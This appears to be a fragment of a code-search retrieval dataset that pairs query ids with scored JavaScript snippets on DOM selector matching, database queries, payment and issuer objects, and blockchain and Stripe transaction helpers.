"docid": "53081be270b9b46aeaae71274b863a5d", "score": "0.46928442", "text": "select(selector) {\n let element;\n\n switch (typeof selector) {\n case \"string\":\n element = document.querySelector(selector);\n break;\n case \"object\":\n element = selector;\n break;\n }\n\n if (element) {\n return new domdomElement(element);\n }\n\n return false;\n }", "title": "" }, { "docid": "004acc3d8508c3622b1e616166e45e88", "score": "0.46911812", "text": "function LQuery() { }", "title": "" }, { "docid": "004acc3d8508c3622b1e616166e45e88", "score": "0.46911812", "text": "function LQuery() { }", "title": "" }, { "docid": "3ef1c146ed090a4e586544fa0414e7f1", "score": "0.46881977", "text": "function findMatching(query) {\n return findCollection(query)\n .then(function(matches) {\n for (var i in matches) {\n if (matches[i].name == query) {\n return [matches[i]];\n }\n }\n return matches;\n });\n}", "title": "" }, { "docid": "f7c2a90585b18ed361f22972db2ceec2", "score": "0.46842796", "text": "function find (query) {\n if (typeof query === 'string') {\n query = {name: query}; // Lets you just pass find the name\n }\n \n var defer = Q.defer();\n \n (function (defer, query) {\n\n db.record.find(query).toArray(function (error, response) {\n if (response.length === 0 || error) {\n defer.reject();\n } else {\n defer.resolve(response);\n }\n });\n\n })(defer, query);\n\n return defer.promise;\n}", "title": "" }, { "docid": "00d61030e04795e4db8b897c41bd55b9", "score": "0.46804997", "text": "read(collection, selector, callback){\n\t\tvar col = this.db[collection];\n\n\t\tif(!col){\n\t\t\tcallback(null, null);\n\t\t\treturn;\n\t\t}\n\n\t\tfor(var i = 0; i < col.length; i++){\n\n\t\t\tvar c = col[i];\n\n\t\t\tvar match = true;\n\t\t\tfor(var k in selector){\n\t\t\t\tif(selector.hasOwnProperty(k)){\n\t\t\t\t\tif(c[k] != selector[k]){\n\t\t\t\t\t\tmatch = false;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif(match){\n\t\t\t\tcallback(null, col[i]);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tcallback(null, null);\n\n\t}", "title": "" }, { "docid": "b35ef5ec707bed5c98a7acea57476ec9", "score": "0.46787688", "text": "function exactMatcher(column, query, multiplier) {\n return buildSelectQuery({ column, query, multiplier, operator: '=' });\n}", "title": "" }, { "docid": "0caa938ac64605860e47220059064366", "score": "0.46662343", "text": "[methodName](conditions, projection, options, callback) {\n // no-arrow\n // this: refer to model static context\n\n // ensure namespace and bucket into conditions\n const actualConditions = lodash.isFunction(conditions)\n ? common.mergeObjects({ namespace, bucket })\n : common.mergeObjects({ namespace, bucket }, conditions);\n\n // check for callback\n const actualCallback = lodash.find(\n [conditions, projection, options, callback],\n lodash.isFunction\n );\n\n // return\n return this.findOne(\n actualConditions,\n projection,\n options,\n actualCallback\n );\n }", "title": "" }, { "docid": "c17357d0b77a492317367b1fef252167", "score": "0.46612048", "text": "filter (obj) {\n /**\n * Query Selectors | Comparison\n *\n * | Name | Description |\n * | :--------------------------------------------------------------------------------- | :------------------------------------------------------------------ |\n * | [`$eq`](https://docs.mongodb.com/manual/reference/operator/query/eq/#op._S_eq) | Matches values that are equal to a specified value. |\n * | [`$gt`](https://docs.mongodb.com/manual/reference/operator/query/gt/#op._S_gt) | Matches values that are greater than a specified value. |\n * | [`$gte`](https://docs.mongodb.com/manual/reference/operator/query/gte/#op._S_gte) | Matches values that are greater than or equal to a specified value. |\n * | [`$in`](https://docs.mongodb.com/manual/reference/operator/query/in/#op._S_in) | Matches any of the values specified in an array. |\n * | [`$lt`](https://docs.mongodb.com/manual/reference/operator/query/lt/#op._S_lt) | Matches values that are less than a specified value. |\n * | [`$lte`](https://docs.mongodb.com/manual/reference/operator/query/lte/#op._S_lte) | Matches values that are less than or equal to a specified value. |\n * | [`$ne`](https://docs.mongodb.com/manual/reference/operator/query/ne/#op._S_ne) | Matches all values that are not equal to a specified value. |\n * | [`$nin`](https://docs.mongodb.com/manual/reference/operator/query/nin/#op._S_nin) | Matches none of the values specified in an array. |\n *\n * Query Selectors | Logical\n *\n * | Name | Description |\n * | :-------------------------------------------------------------------------------- | :---------------------------------------------------------------------------------------------------------- |\n * | [`$and`](https://docs.mongodb.com/manual/reference/operator/query/and/#op._S_and) | Joins query clauses with a logical `AND` returns all documents that match the conditions of both clauses. |\n * | [`$not`](https://docs.mongodb.com/manual/reference/operator/query/not/#op._S_not) | Inverts the effect of a query expression and returns documents that do *not* match the query expression. |\n * | [`$nor`](https://docs.mongodb.com/manual/reference/operator/query/nor/#op._S_nor) | Joins query clauses with a logical `NOR` returns all documents that fail to match both clauses. |\n * | [`$or`](https://docs.mongodb.com/manual/reference/operator/query/or/#op._S_or) | Joins query clauses with a logical `OR` returns all documents that match the conditions of either clause. |\n *\n * Query Selectors | Element\n *\n * | Name | Description |\n * | :----------------------------------------------------------------------------------------- | :----------------------------------------------------- |\n * | [`$exists`](https://docs.mongodb.com/manual/reference/operator/query/exists/#op._S_exists) | Matches documents that have the specified field. |\n * | [`$type`](https://docs.mongodb.com/manual/reference/operator/query/type/#op._S_type) | Selects documents if a field is of the specified type. |\n */\n\n const keysToUpdate = {\n ':like': '$regex',\n ':lt': '$lt',\n ':lte': '$lte',\n ':gt': '$gt',\n ':gte': '$gte',\n ':eq': '$eq',\n ':ne': '$ne',\n ':in': '$in',\n ':nin': '$nin',\n ':and': '$and',\n ':not': '$not',\n ':nor': '$nor',\n ':or': '$or',\n ':exists': '$exists',\n ':type': '$type'\n }\n\n return renameAggregator(obj, keysToUpdate)\n }", "title": "" }, { "docid": "dc86e98d3ee7010928cc47a44cce95ed", "score": "0.4660149", "text": "_findCollection(name, opts, callback) {\n callback(undefined, new (this.connection.getCollectionClass())(this, name, opts));\n }", "title": "" }, { "docid": "ff23fbaa5acc1faf961f69443775a802", "score": "0.46579218", "text": "function matchesAllDocuments(query) {\r\n return (query.filters.length === 0 &&\r\n query.limit === null &&\r\n query.startAt == null &&\r\n query.endAt == null &&\r\n (query.explicitOrderBy.length === 0 ||\r\n (query.explicitOrderBy.length === 1 &&\r\n query.explicitOrderBy[0].field.isKeyField())));\r\n}", "title": "" }, { "docid": "52e69c29714469bca1c3a79a210aa78f", "score": "0.46439043", "text": "function matches(element, selector) {\n return Private.protoMatchFunc.call(element, selector);\n }", "title": "" }, { "docid": "52e69c29714469bca1c3a79a210aa78f", "score": "0.46439043", "text": "function matches(element, selector) {\n return Private.protoMatchFunc.call(element, selector);\n }", "title": "" }, { "docid": "52e69c29714469bca1c3a79a210aa78f", "score": "0.46439043", "text": "function matches(element, selector) {\n return Private.protoMatchFunc.call(element, selector);\n }", "title": "" }, { "docid": "96a5d81dfdf894c14ea04141fd4df3a3", "score": "0.46391094", "text": "function deepQuerySelector(selector) {\n\t\tconst allDocuments = getAllDocuments();\n\t\tfor (let i = 0; i < allDocuments.length; i++) {\n\t\t\tconst elem = allDocuments[i].querySelector(selector);\n\t\t\tif (elem) {\n\t\t\t\treturn elem;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "8451ee8b1dc59e0acefe2026eaf8ea6c", "score": "0.46336618", "text": "function matches(dom, selector) {\n return (dom.matches || dom.msMatchesSelector || dom.webkitMatchesSelector || dom.mozMatchesSelector).call(dom, selector)\n}", "title": "" }, { "docid": "8451ee8b1dc59e0acefe2026eaf8ea6c", "score": "0.46336618", "text": "function matches(dom, selector) {\n return (dom.matches || dom.msMatchesSelector || dom.webkitMatchesSelector || dom.mozMatchesSelector).call(dom, selector)\n}", "title": "" }, { "docid": "8451ee8b1dc59e0acefe2026eaf8ea6c", "score": "0.46336618", "text": "function matches(dom, selector) {\n return (dom.matches || dom.msMatchesSelector || dom.webkitMatchesSelector || dom.mozMatchesSelector).call(dom, selector)\n}", "title": "" } ]
1e5d5e68794b63c999794521ac8e155c
assetSrc is a purse or payment. Return a fresh payment. One internal function used for both cases, since they are so similar.
[ { "docid": "b50773961b467d589c9c78020e6ecbcf", "score": "0.6506101", "text": "function takePayment(assetSrc, srcKeeper, paymentAmount, name) {\n name = `${name}`;\n paymentAmount = assay.coerce(paymentAmount);\n const oldSrcAmount = srcKeeper.getAmount(assetSrc);\n const newSrcAmount = assay.without(oldSrcAmount, paymentAmount);\n\n const corePayment = harden({\n getIssuer() {\n return issuer;\n },\n getBalance() {\n return paymentKeeper.getAmount(payment);\n },\n getName() {\n return name;\n },\n });\n\n // makePaymentTrait is defined in the passed-in configuration and adds\n // additional methods to corePayment\n const payment = harden({\n ...makePaymentTrait(corePayment, issuer),\n ...corePayment,\n });\n\n // ///////////////// commit point //////////////////\n // All queries above passed with no side effects.\n // During side effects below, any early exits should be made into\n // fatal turn aborts.\n paymentKeeper.recordNew(payment, paymentAmount);\n srcKeeper.updateAmount(assetSrc, newSrcAmount);\n return payment;\n }", "title": "" } ]
[ { "docid": "152ba218259f6896fe986bda5be9bcff", "score": "0.5397088", "text": "balanceForAsset(sourceWallet, asset) {\n return sourceWallet.publicKey()\n .then((publicKey) => {\n return this.server().loadAccount(publicKey)\n })\n .then((account) => {\n for (const balance of account.balances) {\n if (balance.asset_type === 'native') {\n if (asset.isNative()) {\n return balance.balance\n }\n } else {\n if (balance.asset_code === asset.getCode() && balance.asset_issuer === asset.getIssuer()) {\n return balance.balance\n }\n }\n }\n\n return '0'\n })\n }", "title": "" }, { "docid": "480943191f1488891bb1d2545d7f2f70", "score": "0.5232502", "text": "getAsset(input) {\n return (this.assets.find((asset) => {\n return asset.input === input;\n }) || null);\n }", "title": "" }, { "docid": "313d8e0978c0f89e77cd79c1f7e700f2", "score": "0.5156735", "text": "function PaymentInit() {\n return null;\n}", "title": "" }, { "docid": "ca8c1f4e3339d633ce0a5a037492811a", "score": "0.5061885", "text": "function simulateCreateContractFromSource(arweave, wallet, initState, contractSrc) {\n return __awaiter(this, void 0, void 0, function* () {\n const srcTx = yield arweave.createTransaction({ data: contractSrc }, wallet);\n srcTx.addTag('App-Name', 'SmartWeaveContractSource');\n srcTx.addTag('App-Version', '0.3.0');\n srcTx.addTag('Content-Type', 'application/javascript');\n yield arweave.transactions.sign(srcTx, wallet);\n // compute the fee needed to deploy the init state\n const deployInitStateTx = yield simulateCreateContractFromTx(arweave, wallet, srcTx.id, initState);\n const initStateReward = deployInitStateTx.reward;\n // update the reward of the contract creation by adding the reward needed for the creation of the state\n srcTx.reward = (parseFloat(srcTx.reward) + parseFloat(initStateReward)).toString();\n return srcTx;\n });\n}", "title": "" }, { "docid": "9d9a9296cefcdabb70ee786bdc74ca94", "score": "0.503397", "text": "function getKeeper(asset) {\n if (purseKeeper.has(asset)) {\n return purseKeeper;\n }\n if (paymentKeeper.has(asset)) {\n return paymentKeeper;\n }\n throw new Error(\n `asset ${asset.getName()} was not recognized as a purse or a payment`,\n );\n }", "title": "" }, { "docid": "f49e612d3923d86a52228b1b6fb69851", "score": "0.49233964", "text": "getAsset(assetSelector) {\n return tslib_1.__awaiter(this, void 0, void 0, function* () {\n if (typeof assetSelector === 'number') {\n return yield this.getAssetByID(assetSelector);\n }\n else {\n return yield this.getAssetBySymbol(assetSelector);\n }\n });\n }", "title": "" }, { "docid": "8a3de595d5ade79ebb129ab7e8acb7cb", "score": "0.4884312", "text": "async CreateAsset(ctx, id, owner, quantity, execution_date, ISIN, rt, clino, settlement_price,status,block_id,request_ty,trade_id,trade_version_id, source_system_id,source_system,fii,book,counterparty,settlement_date,alpha_status,pricing_currency,principal,order_id,order_slang) {\n const exists = await this.AssetExists(ctx, id);\n if (exists) {\n throw new Error(`The asset ${id} already exists`);\n }\n\n const asset = {\n ID: id,\n Owner: owner,\n Quantity: quantity,\n Execution_date: execution_date,\n ISIN: ISIN,\n RT: rt,\n CLINO: clino,\n Settlement_price: settlement_price,\n Status: status,\n Block_ID: block_id,\n Request_Ty: request_ty,\n Trade_ID: trade_id,\n Trade_Version_ID: trade_version_id, \n Source_System_ID: source_system_id,\n Source_System: source_system,\n FII: fii,\n Book: book,\n Counterparty: counterparty,\n Settlement_Date: settlement_date,\n Alpha_status: alpha_status,\n Pricing_Currency:pricing_currency,\n Principal: principal,\n Order_ID: order_id,\n Order_Slang: order_slang\n };\n \n await ctx.stub.putState(id, Buffer.from(JSON.stringify(asset)));\n return JSON.stringify(asset);\n }", "title": "" }, { "docid": "aacaa7e44c4a314df0a6b911cf6002f9", "score": "0.48453915", "text": "function createAsset(mnemonic, defaultFrozen, decimals, totalIssuance, unitName, assetName, assetUrl, manager, reserve, freeze, clawback) {\n var p = new Promise(function (resolve, reject) {\n let account = algosdk.mnemonicToSecretKey(mnemonic);\n // get chain parameters for sending transactions\n algodclient.getTransactionParams().do().then((params) => {\n // use note parameter when you want to attach a string to the transaction\n let note = undefined;\n let assetMetadataHash = undefined;\n // construct the asset creation transaction \n let txn = algosdk.makeAssetCreateTxnWithSuggestedParams(account.addr, note, totalIssuance, decimals, defaultFrozen,\n manager, reserve, freeze, clawback, unitName, assetName, assetUrl, assetMetadataHash, params);\n var signedTxn = algosdk.signTransaction(txn, account.sk);\n algodclient.sendRawTransaction(signedTxn.blob).do().then((tx) => {\n waitForConfirmation(algodclient, tx.txId).then((msg) => {\n console.log(msg);\n algodclient.pendingTransactionInformation(tx.txId).do().then((ptx) => {\n // get the asset ID\n let assetId = ptx[\"asset-index\"];\n resolve(assetId);\n }).catch(reject);\n }).catch(console.log);\n }).catch(console.log);\n }).catch(reject);\n})\n return p;\n}", "title": "" }, { "docid": "7c251e57395abc2cff48ecf7894b6d25", "score": "0.4768149", "text": "function cloneAsset(ele){\n let temp = document.getElementById(\"temp_asset\")\n let clone = document.importNode(temp.content, true)\n let id =`asset_${ele.name.split('.')[0]}`\n assetImage = clone.querySelector('img')\n assetImage.id = id\n assetImage.src = `${BASE_IMAGE_ROOT}${ele.name}`\n assetImage.crossOrigin = 'Anonymous'\n assetImage.onerror = function() { this.style.display = 'none' }\n assetImage.addEventListener('click', event => { \n setCurrentSymbol(event)\n document.getElementById('asset').style.display = \"none\"\n }) \n return clone\n }", "title": "" }, { "docid": "5a3d23a8459f9494be05938fe47666a0", "score": "0.4718215", "text": "async createAsset() {\n if (!this.state.createAssetName ||\n !this.state.createAssetSymbol ||\n !this.state.createAssetDecimals ||\n !this.state.createAssetTotalSupply) return\n\n let totalSupplyString = this.state.createAssetTotalSupply.toString();\n let totalSupplyBN = this.makeBigNumber(totalSupplyString, this.state.createAssetDecimals);\n let totalSupplyBNHex = \"0x\" + totalSupplyBN.toString(16);\n\n let data = {\n from: this.state.account.address,\n name: this.state.createAssetName,\n symbol: this.state.createAssetSymbol,\n decimals: this.state.createAssetDecimals,\n total: totalSupplyBNHex\n };\n\n\n await web3.fsntx.buildGenAssetTx(data).then(tx => {\n tx.chainId = _CHAINID;\n let gasPrice = web3.utils.toWei(new web3.utils.BN(100), \"gwei\");\n tx.gasPrice = gasPrice.toString();\n return web3.fsn\n .signAndTransmit(tx, this.state.account.signTransaction)\n .then(txHash => {\n this.addOutput(`Transaction Hash : ${txHash}`);\n });\n });\n\n }", "title": "" }, { "docid": "38b74c6cc29dccc775f77418ffaaf0f4", "score": "0.4678482", "text": "function checkSRC() {\n if(carImg.getAttribute('src') == \"\")\n {\n return carImg.setAttribute('src', randomCar().imgSrc);\n }\n}", "title": "" }, { "docid": "fd04b4cf45cb0bdf3052e8abf183933a", "score": "0.4654904", "text": "function getAsset(assetId) {\n\n // find the asset\n var foundAsset = _.find(includes.Asset, function (asset) {\n\n return asset.sys.id === assetId;\n\n });\n\n// console.log('GETASSET foundAsset:', foundAsset);\n\n // TODO: Think about returning the found object as-is\n return {\n id: assetId,\n title: foundAsset.fields.title,\n url: foundAsset.fields.file.url\n };\n\n }", "title": "" }, { "docid": "3172c0f2dca6635a40a85ad811f3a3d4", "score": "0.4645795", "text": "function takePaymentAndKill(oldPayment, name) {\n name = `${name}`;\n const paymentAmount = paymentKeeper.getAmount(oldPayment);\n\n const corePayment = harden({\n getIssuer() {\n return issuer;\n },\n getBalance() {\n return paymentKeeper.getAmount(payment);\n },\n getName() {\n return name;\n },\n });\n // makePaymentTrait is defined in the passed-in configuration and adds\n // additional methods to corePayment\n const payment = harden({\n ...makePaymentTrait(corePayment, issuer),\n ...corePayment,\n });\n\n // ///////////////// commit point //////////////////\n // All queries above passed with no side effects.\n // During side effects below, any early exits should be made into\n // fatal turn aborts.\n paymentKeeper.recordNew(payment, paymentAmount);\n paymentKeeper.remove(oldPayment);\n return payment;\n }", "title": "" }, { "docid": "8b7589e142675039cd6116bb513c8317", "score": "0.46203136", "text": "function handleSourceActivation(source, element) {\n switch (source.flow) {\n case 'none':\n // Sources with flow as none don't require any additional action\n if (source.type === 'wechat') {\n // Display the QR code.\n const qrCode = new QRCode('stripe-wechat-qrcode', {\n text: source.wechat.qr_code_url, width: 128, height: 128,\n colorDark: '#424770', colorLight: '#f8fbfd', correctLevel: QRCode.CorrectLevel.H,\n });\n\n // Hide the previous text and update the call to action.\n $(\".stripe-wechat-before\").hide();\n $(\".stripe-wechat-after\").show();\n\n // Start polling the PaymentIntent status.\n pollPaymentIntentStatus();\n }\n break;\n case 'redirect':\n disableSubmit(disableText, stripe_message.redirecting);\n window.location.replace(source.redirect.url);\n break;\n case 'receiver':\n // Display the receiver address to send the funds to.\n checkoutElement.classList.add('success', 'receiver');\n const receiverInfo = confirmationElement.querySelector(\n '.receiver .info'\n );\n let amount = store.formatPrice(source.amount, stripe_currency);\n switch (source.type) {\n case 'multibanco':\n // Display the Multibanco payment information to the user.\n const multibanco = source.multibanco;\n receiverInfo.innerHTML = `\n <ul>\n <li>Amount (Montante): <strong>${amount}</strong></li>\n <li>Entity (Entidade): <strong>${multibanco.entity}</strong></li>\n <li>Reference (Referencia): <strong>${multibanco.reference}</strong></li>\n </ul>`;\n break;\n default:\n console.log('Unhandled receiver flow.', source);\n }\n // Poll the PaymentIntent status.\n pollPaymentIntentStatus();\n break;\n default:\n // Customer's PaymentIntent is received, pending payment confirmation.\n break;\n }\n }", "title": "" }, { "docid": "c90a436a2855fca7d22f8c5b0fa3ecfb", "score": "0.46091515", "text": "async payOrder(order, source) {\n try {\n const response = await fetch(`/orders/${order.id}/pay`, {\n method: 'POST',\n headers: {'Content-Type': 'application/json'},\n body: JSON.stringify({source}),\n });\n const data = await response.json();\n if (data.error) {\n return {error: data.error};\n } else {\n return data;\n }\n } catch (err) {\n return {error: err.message};\n }\n }", "title": "" }, { "docid": "e10fc3ac4e53ea5a98eba498345340b5", "score": "0.46089607", "text": "function createContract(arweave, wallet, contractSrc, initState) {\n return __awaiter(this, void 0, void 0, function* () {\n const srcTx = yield arweave.createTransaction({ data: contractSrc }, wallet);\n srcTx.addTag('App-Name', 'SmartWeaveContractSource');\n srcTx.addTag('App-Version', '0.3.0');\n srcTx.addTag('Content-Type', 'application/javascript');\n yield arweave.transactions.sign(srcTx, wallet);\n const response = yield arweave.transactions.post(srcTx);\n if (response.status === 200 || response.status === 208) {\n return yield createContractFromTx(arweave, wallet, srcTx.id, initState);\n }\n else {\n throw new Error('Unable to write Contract Source.');\n }\n });\n}", "title": "" }, { "docid": "484750dbdbae4ffd8a33c00f654d6cd3", "score": "0.45645472", "text": "addPayment(data) {\r\n\t\treturn null\r\n\t}", "title": "" }, { "docid": "bd594f3f1956e7f79c1e69bb0de2f0d0", "score": "0.45516124", "text": "function newAsset(sender, type) {\n assets = remote.getGlobal(\"assets\");\n if (type == \"image\") {\n Swal.fire({\n title: config.newPhotoMessage + \" \" + sender,\n showConfirmButton: false,\n timer: 5000,\n type: \"success\"\n }).then((value) => {\n currentAssetIndex = assets.length;\n loadAsset(true, 0);\n });\n } else if (type == \"video\") {\n Swal.fire({\n title: config.newVideoMessage + \" \" + sender,\n showConfirmButton: false,\n timer: 5000,\n type: \"success\"\n }).then((value) => {\n currentAssetIndex = assets.length;\n loadAsset(true, 0);\n });\n } else if (type == \"document\") {\n Swal.fire({\n title: config.newPhotoMessage + \" \" + sender,\n showConfirmButton: false,\n timer: 5000,\n type: \"success\"\n }).then((value) => {\n currentAssetIndex = assets.length;\n loadAsset(true, 0);\n });\n } else if (type == \"text\") {\n Swal.fire({\n title: config.newTextMessage + \" \" + sender,\n showConfirmButton: false,\n timer: 5000,\n type: \"success\"\n }).then((value) => {\n currentAssetIndex = assets.length;\n loadAsset(true, 0);\n });\n }\n}", "title": "" }, { "docid": "001f48850d0dc6eda1af95e2520a5771", "score": "0.4538977", "text": "function purchaseItem() {\n return\n}", "title": "" }, { "docid": "3b541122bc99d923282fc2ea285af03c", "score": "0.4537868", "text": "claim(wrappedPayment){\n const ertpPayment = wrappedPaymentToERTPPayment.get(wrappedPayment)\n wrappedPaymentToERTPPayment.delete(wrappedPayment)\n\n return makeWrappedPayment(\n coinIssuer.claim( ertpPayment )\n )\n }", "title": "" }, { "docid": "1b700b15682803478bffc4ffcf4549e3", "score": "0.45083955", "text": "async function activateAsset(asset='mateo.randulfe1') {\n// eslint-disable prefer-const\n let myUser = await getAccount();\n\n let config = {\n headers: {\n 'x-access-token': myUser.token,\n },\n };\n\n let payload = {\n 'accountId': myUser.id,\n 'subscription': {\n 'subscriberAccountId': myUser.id,\n 'productId': '610c18fcae701c0030d5be51',\n },\n };\n\n try {\n // eslint-disable-next-line max-len\n let data = await axios.put(api+'/assets/'+asset+'/subscribe', payload, config);\n return data;\n } catch (e) {\n return e.message;\n }\n}", "title": "" }, { "docid": "b16df19d577f663a3c35ed35fd3b7485", "score": "0.44830912", "text": "function getPrebidCacheUrl(creative, arrBids) {\n\t\t\t\t\tfor (var i = 0; i < arrBids.length; i++) {\n\t\t\t\t\t\tif (arrBids[i].vastUrl === creative) {\n\t\t\t\t\t\t\t// winner is creative from bid array\n\t\t\t\t\t\t\tif (arrBids[i].videoCacheKey && arrBids[i].videoCacheKey.length > 0 &&\n\t\t\t\t\t\t\t\toptions.prebidConfigOptions && options.prebidConfigOptions.cache &&\n\t\t\t\t\t\t\t\toptions.prebidConfigOptions.cache.url) {\n\t\t\t\t\t\t\t\treturn options.prebidConfigOptions.cache.url + '?uuid=' + arrBids[i].videoCacheKey;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\treturn creative;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t// winner is not creative from bid array\n\t\t\t\t\treturn creative;\n\t\t\t\t}", "title": "" }, { "docid": "f376c4ce6f6bb55a395c38c7fc3e3bda", "score": "0.44753858", "text": "sendAsset(sourceWallet, destKey, amount, asset = null, memo = null, additionalSigners = null, signWithSource = true) {\n return this.api().sendAsset(sourceWallet, destKey, amount, asset, memo, additionalSigners, signWithSource)\n }", "title": "" }, { "docid": "bb4cc4f88a7ffd7f1ea8d26e1274abad", "score": "0.44668275", "text": "payment(data, actions) {\n return actions.payment.create({\n transactions: [{\n amount: {\n total: paymentDetails.total(),\n currency: 'HKD'\n }\n }]\n });\n }", "title": "" }, { "docid": "4edb7ca868e520031917ad61e4319efe", "score": "0.44574675", "text": "refressAassetSource(nextProps){\n \n\n this.deletedIncludeAssetSource = tempDataStore.getDeletedIncludeAssetSource(''+nextProps.secName+nextProps.ruleName);\n \n let tempAssetResource = DynamicCampaignConfig.getAssetSourceData();\n \n //delete the id which u have in reportConfig but not in current assetsource list\n/************delete phase************************************************************/\n\n let filterResult = nextProps.includeAssetSources.filter( function(element){\n\n for(let i=0;i<tempAssetResource.length;i++){\n if(tempAssetResource[i].assetDatabase == element){\n return false;\n\n }\n \n }\n return true;\n });\n//copy the data from our current include resource and make it ready for delete \n let tempIncludeAssetSourceAfterDel = JSON.parse(JSON.stringify(nextProps.includeAssetSources));\n for(let i=0;i<filterResult.length;i++){\n let index=tempIncludeAssetSourceAfterDel.indexOf(filterResult[i]);\n tempIncludeAssetSourceAfterDel.splice(index,1);\n if(this.deletedIncludeAssetSource.indexOf(filterResult[i]) == -1){ \n this.deletedIncludeAssetSource.push(filterResult[i]);\n }\n if(this.refs[\"\"+this.props.secName+this.props.rulePosition+filterResult[i]]){this.refs[\"\"+this.props.secName+this.props.rulePosition+filterResult[i]].checked = false; } \n }\n\n if(filterResult.length>0){\n //store the deleted asset source\n\n tempDataStore.setDeletedIncludeAssetSource(''+nextProps.secName+nextProps.ruleName,this.deletedIncludeAssetSource); \n // updateIncludeAssetSources(nextProps.secName,nextProps.rulePosition,tempIncludeAssetSourceAfterDel);\n \n } \n\n/************************Restore Phase*************************************************************/\n\nlet assetToRestore = this.deletedIncludeAssetSource.filter( (asset)=>{\n\n for(let i=0;i<tempAssetResource.length;i++){\n \n if(tempAssetResource[i].assetDatabase == asset){\n return true;\n\n } \n\n }\n return false;\n\n});\n\n //restore the asset\n\n let tempIncludeAssetSourcesAfterRestore = JSON.parse(JSON.stringify(nextProps.includeAssetSources));\n \n\n for(let i=0;i<assetToRestore.length;i++){\n tempIncludeAssetSourcesAfterRestore.push(assetToRestore[i]);\n let index = this.deletedIncludeAssetSource.indexOf(assetToRestore[i]);\n this.deletedIncludeAssetSource.splice(index,1);\n }\n\n if(assetToRestore.length>0){\n tempDataStore.setDeletedIncludeAssetSource(''+nextProps.secName+nextProps.ruleName,this.deletedIncludeAssetSource); \n //updateIncludeAssetSources(nextProps.secName,nextProps.rulePosition,tempIncludeAssetSourcesAfterRestore);\n }\n\n\n\n\n this.setState({ dyn_assetSource : tempAssetResource});\n\n\n}", "title": "" }, { "docid": "15a4f2ef798d4835355b22fdb41b4224", "score": "0.44545582", "text": "burn(wrappedPayment){\n const ertpPayment = wrappedPaymentToERTPPayment.get(wrappedPayment)\n wrappedPaymentToERTPPayment.delete(wrappedPayment)\n return coinIssuer.burn( ertpPayment )\n }", "title": "" }, { "docid": "727d063288ad08788f77a25ba31f081a", "score": "0.44496936", "text": "function revalidateSourceAndCharge (payload, isSubscription, callback) {\n validateUserPayment(function(result) {\n if (result) {\n payload.source = $scope.billing.token;\n\n // Update customer with new card\n appService.customer.update({item: 'source', data: payload.source}, function(customer) {\n\n // Create subscription\n if (isSubscription) {\n appService.subscription.save(payload, function(subscription) {\n return callback(subscription);\n }, function(err) {\n handleStCCErr(err);\n return callback(false);\n });\n }\n // Create charge\n else {\n appService.charge.save(payload, function(charge) {\n return callback(charge);\n }, function(err) {\n handleStCCErr(err);\n return callback(false);\n });\n }\n\n }, function(err) {\n handleStCCErr(err);\n return callback(false);\n });\n }\n else {\n return callback(false);\n }\n });\n }", "title": "" }, { "docid": "2a88253579e54b5067db8605cb30b792", "score": "0.4436547", "text": "function Payment () {\n return (\n <div class='payment-page-container'>\n <h1 class='secure'><span class=\"icomoon-lock align-items-center pr-3\"></span><img class='lock' src={Lock}/>Secure Payment</h1>\n <div class='payment-page'>\n \n <div class='cart'>\n <h1 class='cart-title'>Your cart</h1>\n </div>\n <div>\n <div class='summary'>\n <h1>Summary</h1>\n <h3>Total</h3>\n \n <a class='href' href='https://www.paypal.com/paypalme/tenniscoachesofnyc'>\n <button class='stripe-checkout'>Proceed to checkout</button>\n <h4 class='href'>-OR-</h4>\n <a href='https://www.paypal.com/paypalme/tenniscoachesofnyc'>\n <button class='paypal-checkout' >Checkout with <table border=\"0\" cellpadding=\"10\" cellspacing=\"0\" align=\"center\"><tr><td align=\"center\"></td></tr><tr><td align=\"center\"><a href=\"https://www.paypal.com/paypalme/tenniscoachesofnyc\" title=\"How PayPal Works\" onclick=\"javascript:window.open('https://www.paypal.com/paypalme/tenniscoachesofnyc','WIPaypal','toolbar=no, location=no, directories=no, status=no, menubar=no, scrollbars=yes, resizable=yes, width=1060, height=700'); return false;\"><img src=\"https://www.paypalobjects.com/webstatic/mktg/logo/pp_cc_mark_37x23.jpg\" border=\"0\" alt=\"PayPal Logo\" /></a></td></tr></table></button></a></a>\n </div>\n {/* <a target=\"_blank\" rel=\"noopener noreferrer\" href='http://paypal.me/tenniscoachesofnyc'><img src=\"https://www.paypalobjects.com/webstatic/en_US/i/buttons/checkout-logo-large.png\" alt=\"Check out with PayPal\" /></a>\n <h2 class='or'>Or:</h2>\n <a target=\"_blank\" rel=\"noopener noreferrer\" href='https://venmo.com/Artemie-Amari'><img class='venmo' src={Venmo}/></a> */}\n {/* <div class='accepted'>\n <h3>Accepted Payment Methods</h3>\n </div> */}\n </div>\n </div>\n </div>\n );\n }", "title": "" }, { "docid": "d8ca50eb7e5f4d2c8b4b4add8bcfedec", "score": "0.4434746", "text": "static checkFeePool(asset, fee) {\n asset = asset.toJS ? asset : bitsharesjs__WEBPACK_IMPORTED_MODULE_0__.ChainStore.getAsset(asset);\n if (!asset) return undefined;\n const dynamicObject = bitsharesjs__WEBPACK_IMPORTED_MODULE_0__.ChainStore.getObject(asset.get(\"dynamic_asset_data_id\"));\n if (!dynamicObject) return undefined;\n let feePool = parseInt(dynamicObject.get(\"fee_pool\"), 10);\n return feePool >= fee;\n }", "title": "" }, { "docid": "88abfb4611c12c2e341e58cf5daccf76", "score": "0.44303772", "text": "submitPayment (payment) {\n return Promise.resolve()\n }", "title": "" }, { "docid": "97b9ce3a32c0e54d8eeb40dd001e1559", "score": "0.44253245", "text": "getAssetBySymbol(assetSymbol) {\n return tslib_1.__awaiter(this, void 0, void 0, function* () {\n return yield this.getRestData(`/v2/assets`, { symbol: assetSymbol });\n });\n }", "title": "" }, { "docid": "6830d0b138e3b334ac50ede59877bb7f", "score": "0.441152", "text": "makeEmptyPurse(){\n const purse = makeWrappedPurse(coinIssuer.makeEmptyPurse())\n \n allNonAccountPurses.add(purse)\n\n return purse\n }", "title": "" }, { "docid": "3ae69a3aaa70adcadc8668384d4c55ca", "score": "0.44071433", "text": "function getPrebidCacheUrl (creative, arrBids) {\n\t\tfor (var i = 0; i < arrBids.length; i++) {\n\t\t\tif (arrBids[i].vastUrl === creative) {\n\t\t\t\t// winner is creative from bid array\n\t\t\t\tif 